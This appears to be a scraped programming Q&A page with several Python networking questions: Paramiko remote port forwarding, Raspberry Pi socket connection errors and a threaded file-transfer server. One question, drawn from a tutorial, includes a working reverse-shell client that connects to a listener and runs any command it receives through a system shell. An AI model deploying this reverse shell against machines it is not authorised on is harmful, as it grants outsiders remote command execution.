How do I implement remote port forwarding with Paramiko? I have seen examples doing the local port forward but this puzzles me. I would like to implement
ssh -N -R 2210:localhost:5000 username#remotehost
with paramiko. (forward remotehost port 2210 to localhost port 5000, do not open shell as it is not permitted). I have tried
ssh=paramiko.SSHClient()
ssh.connect(remotehost, username=remoteusername, key_filename="/....")
transport = ssh.get_transport()
transport.open_channel(......)
but all combinations of dest_addr, src_addr and action (direct-tcpip, forwarded-tcpip) seem to fail to ChannelException (administrately prohibited). My command line ssh works, so I am authorised to do this, but I don't know how to do the Paramiko implementation.
Any ideas?
Hannu
Sample script showing how to do remote port forwarding over paramiko.
This script connects to the requested SSH server and sets up remote port
forwarding (the openssh -R option) from a remote port through a tunneled
connection to a destination reachable from the local machine.
Example: ssh -R 4000:internal.example.com:80 public.example.com
import socket
import select
import sys
import threading
import paramiko
def handler(chan, host, port):
sock = socket.socket()
try:
sock.connect((host, port))
except Exception as e:
print("Forwarding request to %s:%d failed: %r" % (host, port, e))
return
print(
"Connected! Tunnel open %r -> %r -> %r"
% (chan.origin_addr, chan.getpeername(), (host, port))
)
while True:
r, w, x = select.select([sock, chan], [], [])
if sock in r:
data = sock.recv(1024)
if len(data) == 0:
break
chan.send(data)
if chan in r:
data = chan.recv(1024)
if len(data) == 0:
break
sock.send(data)
chan.close()
sock.close()
def reverse_forward_tunnel(server_port, remote_host, remote_port, transport):
transport.request_port_forward("", server_port)
while True:
chan = transport.accept(1000)
if chan is None:
continue
thr = threading.Thread(
target=handler, args=(chan, remote_host, remote_port)
)
thr.setDaemon(True)
thr.start()
def main():
"""
ssh -R 4000:internal.example.com:80 public.example.com
"""
ssh_host = 'public.example.com'
ssh_port = 22
ssh_user = 'root'
ssh_pass = 'password'
remote_bind_port = 4000 # port on server to forward
forward_host = 'internal.example.com' # dest host to forward to
forward_port = 80 # dest port to forward to
client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.WarningPolicy())
try:
client.connect(
ssh_host,
ssh_port,
username=ssh_user,
password=ssh_pass,
)
except Exception as e:
print("*** Failed to connect to %s:%d: %r" % (ssh_host, ssh_port, e))
sys.exit(1)
print(
"Now forwarding remote port %d to %s:%d ..."
% (remote_bind_port, forward_host, forward_port)
)
try:
reverse_forward_tunnel(
remote_bind_port, forward_host, forward_port, client.get_transport()
)
except KeyboardInterrupt:
print("C-c: Port forwarding stopped.")
sys.exit(0)
if __name__ == "__main__":
main()
Related
I am trying to do wireless communications between a PC (windows) and a Raspberry Pi 3 using python's socket module. The server is the PC and the client is the Pi. When I run the code (server first then client) both scripts get stuck after "hey, checking TCP socket".
When I do the reverse (Pi being the server and PC being the client) the code works fine, with data been sent correctly.
Both the PC and Pi are connected to the same network. The IP address of PC is 10.0.0.198 and the Pi is 10.0.0.63.
I think the problem is that the port is not open when I use my PC as a server. How to resolve this?
My client script:
import socket
import sys
def read(port):
s = socket.socket()
host = '10.0.0.198' #(IP address of PC (server))
s.connect((host,port))
try:
msg = s.recv(1024)
s.close()
except socket.error, msg:
sys.stderr.write('error %s'%msg[1])
s.close()
print 'close'
sys.exit(2)
return msg
if __name__ == '__main__':
port = 1025
while True:
print 'hey, checking TCP socket'
data = read(port)
print 'i just read %s' % data
print 'port num is: %d' % port
port = port + 1
My server script:
import socket
import time
def send(data, port):
s = socket.socket()
s.bind(('', port))
s.listen(5)
c, addr = s.accept()
print 'Got connection from',addr
c.send(data)
c.close()
if __name__ == '__main__':
port = 1025
num = 1
while True:
print 'hey, sending data'
words = 'helloWorld'
data = words + str(num)
print 'send data: %s' % data
send(data,port)
port = port + 1
num = num + 1
I've written two programs according to a guide on sockets in python.
I'm using a rasbperry pi 3 as a client, and a regular linux ubuntu computer as a server. this is the server software:
import socket
import sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = ('localhost', 15000)
print("starting up on %s port %s" % server_address, file=sys.stderr)
sock.bind(server_address)
# Listen for incoming connections
sock.listen(1)
while True:
# Wait for a connection
print("waiting for a connection", file=sys.stderr)
connection, client_address = sock.accept()
try:
print("connection from ", client_address, file=sys.stderr)
# Receive the data in small chunks and retransmit it
while True:
data = connection.recv(16)
print("received %s" % data, file=sys.stderr)
if data:
print("sending data back to the client", file=sys.stderr)
connection.sendall(data)
else:
print("no more data from ", client_address, file=sys.stderr)
break
finally:
# Clean up the connection
connection.close()
and this is the client software:
import socket
import sys
# Create a TCP/IP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect the socket to the port where the server is listening
server_address = ('192.168.18.250', 15000)
print("connecting to %s port %s" % server_address, file=sys.stderr)
sock.connect(server_address)
try:
# Send data
message = "This is the message. It will be repeated."
print("sending %s" % message, file=sys.stderr)
sock.sendall(message)
# Look for the response
amount_received = 0
amount_expected = len(message)
while amount_received < amount_expected:
data = sock.recv(16)
amount_received += len(data)
print("received %s" % data, file=sys.stderr)
finally:
print("closing socket")
sock.close()
this is the output on the server:
peter#GIGAS:~/thermServer$ python3 thermServer.py
starting up on localhost port 15000
waiting for a connection
and this is the output on the raspberry pi:
pi#raspberrypi:~ $ python3 thermClient.py
connecting to 192.168.18.250 port 15000
Traceback (most recent call last):
File "thermClient.py", line 10, in <module>
sock.connect(server_address)
ConnectionRefusedError: [Errno 111] Connection refused
I have forwarded the port in my router, but as this is internal traffic that shouldn't matter, did I miss adding something in the server that opens the port properly or do I need to fiddle with something outside of the project in my linux machine?
In your server code you have:
server_address = ('localhost', 15000)
This sets up a listener on ipnumer 127.0.0.1. This 'localhost' ip cannot be contacted from clients outside of this server.
If you want your server to listen on all assigned ip-adresses, use:
server_address = ('0.0.0.0', 15000)
When you create a socket, bound to the localhost address, you create a socket listening on the "loopback interface", i.e. 127.0.0.1. You appear to be trying to connect to the server by the local IP - 192.168.18.250, which is assigned to a different interface (generally the one connected to your LAN). Because nothing is listening to port 15000 on that interface you get a connection refused.
You have two solutions here: either change the server to be listening to the correct interface (listening to 0.0.0.0 generally works here, although if it's a guaranteed static IP, use that instead), or change the client to try to connect to the loopback interface - try connect on 127.0.0.1 or "localhost"
I am new to python and i am trying to make a multithreded tcp server and client to be able to send files between them. I did write some simple codes for these two programs but every time I get empty file on server's site. The file does create in the folder but when I open it it is blank inside. I also tried to send .png files but windows photoviewer doesn't open them saying they are empty. I didn't find anyone encourting such problem so that's why i am asking
Client.py
import socket # Import socket module
HOST = "localhost" # Host address / name
PORT = 2137 # Reserves port for the service
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((HOST, PORT))
fileToSend = open('test.txt', 'rb')
print "File ready to be sent"
l = fileToSend.read(1024)
while l:
print "Sending the file"
client.send(l)
l = fileToSend.read(1024)
fileToSend.close() print "done"
client.close()
Server.py
import socket
from threading import Thread
from SocketServer import ThreadingMixIn
import sys
TCPHOST = "localhost"
TCPPORT = 2137
BUFFER_SIZE = 20
class ClientThread(Thread):
def __init__(self, HOST, PORT):
Thread.__init__(self)
self.HOST = HOST
self.PORT = PORT
print "New thread started for " + HOST + " on port " + str(PORT)
def run(self):
f = open('received.py', 'wb')
while True:
try:
data = conn.recv(1024)
except socket.error, e:
print "Error receiving data: %s" % e
sys.exit(1)
while data:
print "Receiving"
f.write(data)
data = conn.recv(1024)
f.close()
try:
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind((TCPHOST, TCPPORT))
print "Socket created"
except socket.error, err:
print "Failed to create socket" % err
threads = []
while True:
server.listen(4)
print "Waiting for connections"
(conn, (HOST, PORT)) = server.accept()
thread = ClientThread(HOST, PORT)
thread.start()
threads.append(thread)
for t in threads:
t.join()
I am not sure what you actually want to do, because I see that you import SocketServer however you are not using it all.
If you are trying to run a simple socket server then the class ClientThread and all the other stuff about threads in that file are not necessary.
The following code in server.py will do the job
import socket
import sys
TCPHOST = "localhost"
TCPPORT = 2137
BUFFER_SIZE = 20
try:
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind((TCPHOST, TCPPORT))
server.listen(4)
print "Socket created"
except socket.error, err:
print "Failed to create socket" % err
while True:
print "Waiting for connections"
(conn, (TCPHOST, TCPPORT)) = server.accept()
try:
while True:
data = conn.recv(1024)
f = open('received.py', 'wb')
if data:
print "Receiving " + data
f.write(data)
else:
f.close()
break;
except socket.error, e:
#pass
print "Error receiving data: %s" % e
#sys.exit(1)
finally:
conn.close()
However if you are trying to implement a threaded TCPServer using the ThreadingMixIn then you need to create a class that subclasses SocketServer and override its handle() function
Python documentation is quite helpful on this
https://docs.python.org/3.5/library/socketserver.html
(ThreadingMixin is at the bottom of the page)
I am following Bucky Robert's (Thenewboston) tutorial on python reverse shell, I have created 2 programs, server.py and client.py, it seems like this:
server.py:
import socket
import sys
# Create socket (allows two computers to connect)
def socket_create():
try:
global host
global port
global s
host = '' # the server doesn't need to know the ip, only the client
port = 9999
s = socket.socket()
except socket.error as msg:
print('Socket creation error', str(msg))
# Bind socket to port and wait for connection from client
def socket_bind():
try:
global host
global port
global s
print('Binding socket to port: ' + str(port))
s.bind((host, port))
s.listen(5)
except socket.error as msg:
print('Socket binding error', str(msg) + '\n' + 'Retrying...')
socket_bind()
# Establish a connection with client (socket must be listening for them)
def socket_accept():
conn, address = s.accept()
print('Connection has been established | ' + 'IP ' + address[0] + ' | Port ' + str(address[1]))
send_commands(conn)
conn.close()
# Send commands
def send_commands(conn):
while True:
cmd = input('')
if cmd == 'quit':
conn.close()
s.close()
sys.exit()
if len(str.encode(cmd)) > 0: # system commands are bytes and not strings
conn.send(str.encode(cmd))
client_response = str(conn.recv(1024), 'utf-8')
print(client_response, end='')
def main():
socket_create()
socket_bind()
socket_accept()
main()
client.py:
import os
import socket
import subprocess
s = socket.socket()
host = 'pc_ip'
port = 9999
s.connect((host, port))
while True:
data = s.recv(1024)
if data[:2].decode('utf-8') == 'cd':
os.chdir(data[3:].decode('utf-8'))
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode('utf-8'), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) # run command in terminal
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_bytes, 'utf-8')
s.send(str.encode(output_str + str(os.getcwd()) + '> '))
print(output_str)
# close connection
s.close()
Now, by the tutorial, I am supposed to run the server file and then the client file locally and a connection will be established between them, however, I can't successfully do this because as I run the server file I get this output:
C:\Users\dodob\AppData\Local\Programs\Python\Python35-32\python.exe C:/Users/dodob/PycharmProjects/ReverseShell/server.py
Binding socket to port: 9999
Connection has been established | IP 127.0.0.1 | Port 2565
Even though I haven't ran the client yet. What can I do to fix that and continue the tutorial?
I need to implement a ssh server using paramiko that only handles '-R' port forwarding requests like this:
ssh -N -T -R 40005:destination_host:22 user#example.com
So far from what i understand i'll have to implement ServerInterface.check_port_forward_request and at some point after, create a socket and listen to the specified port. Any data that comes through the Channel/Connection go to Connection/Channel respectively
class Server (paramiko.ServerInterface):
.
.
.
def check_port_forward_request(self, address, port):
'Check if the requested port forward is allowed'
...
return port
def handler(chan, port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(('', port))
sock.listen(1)
conn, addr = s.accept()
while True:
r, w, x = select.select([conn, chan], [], [])
if conn in r:
data = conn.recv(1024)
if len(data) == 0:
break
chan.send(data)
if chan in r:
data = chan.recv(1024)
if len(data) == 0:
break
conn.send(data)
chan.close()
conn.close()
verbose('Tunnel closed from %r' % (chan.origin_addr,))
thr = threading.Thread(target=handler, args=(chan,server_port))
thr.setDaemon(True)
thr.start()
Is this the general idea behind implementing server-side paramiko ssh port forwarding?
Should i start the thread inside check_port_forward_request or somewhere else?
Here's a working example from Paramiko's source of reverse port forwarding:
https://github.com/paramiko/paramiko/blob/master/demos/rforward.py